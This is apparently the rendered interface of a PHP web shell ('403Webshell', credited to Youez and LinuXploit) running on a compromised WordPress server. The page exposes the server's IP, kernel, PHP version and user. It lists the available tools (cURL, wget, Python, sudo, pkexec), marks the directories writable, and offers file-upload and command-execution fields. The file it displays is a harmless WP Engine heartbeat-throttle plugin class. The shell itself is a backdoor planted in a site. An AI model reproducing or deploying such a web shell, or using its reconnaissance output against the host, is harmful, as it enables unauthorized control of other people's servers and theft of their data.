403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/successkpi/wp-content/mu-plugins/wpengine-common/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/successkpi/wp-content/mu-plugins/wpengine-common//class-wpe-heartbeat-throttle.php
<?php
/**
 * WP Engine Heartbeat Throttle
 *
 * @package wpengine/common-mu-plugin
 */

/**
 * A class for throttling back the heartbeat of a WordPress page. This class controls
 * the heartbeat rate and even disables the heartbeat for all pages except post editing
 * pages.
 */
class WPE_Heartbeat_Throttle {

	/**
	 * Register the actions/hooks that make this throttle work.
	 */
	public function register() {
		add_action( 'init', array( $this, 'check_heartbeat_allowed' ), 1 );
	}

	/**
	 * Check that heartbeat is allowed for this page and deregeister it if not.
	 */
	public function check_heartbeat_allowed() {
		global $pagenow;

		/**
		 * Filter the pages where heartbeat.js is allowed to load.
		 *
		 * @since 2.1.13
		 *
		 * @param array $heartbeat_allowed_pages Array of pages where the heartbeat.js file is allowed to be loaded.
		 */
		$heartbeat_allowed_pages = apply_filters( 'wpe_heartbeat_allowed_pages', array( 'edit.php', 'post.php', 'post-new.php', 'site-health.php' ) );

		if ( ! in_array( $pagenow, $heartbeat_allowed_pages, true ) ) {
			wp_dequeue_script( 'heartbeat' );
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit